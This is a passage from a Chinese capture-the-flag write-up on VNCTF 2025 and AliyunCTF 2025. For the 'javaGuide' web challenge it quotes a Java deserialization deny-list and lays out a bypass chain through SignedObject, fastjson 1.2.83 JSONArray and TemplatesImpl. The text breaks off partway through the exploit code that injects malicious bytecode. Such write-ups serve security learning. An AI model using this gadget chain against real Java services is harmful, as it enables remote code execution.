CTF记录-VNCTF_2025, AliyunCTF 2025
VNCTF 5道web解出了4道 javaGuide /deser路由可以反序列化,有spring boot和fastjson 1.2.83的依赖。 反序列化有黑名单: protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); String[] denyClasses = {"com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson"}; int length = denyClasses.length; for (String denyClass : denyClasses) { if (className.startsWith(denyClass)) { throw new InvalidClassException("Unauthorized deserialization attempt", className); } } return super.resolveClass(desc); } 可以用signedObject二次反序列化绕过 利用链: EventListenerList.readobject() -> JSONArray.toString() -> SignedObject.getObject() -> EventListenerList.readobject() -> JSONArray.toString() -> Templates.getOutputProperties() fastjson1.2.83使用引用绕过。 Templates templates = new TemplatesImpl(); setFieldValue(templates,"_bytecodes",new byte[][]{getEvilClass()}); setFieldValue(templates,"_class",null); setFieldValue(templates,"_name","asd"); JSONArray jsonArray1 = new JSONArray(); jsonArray1....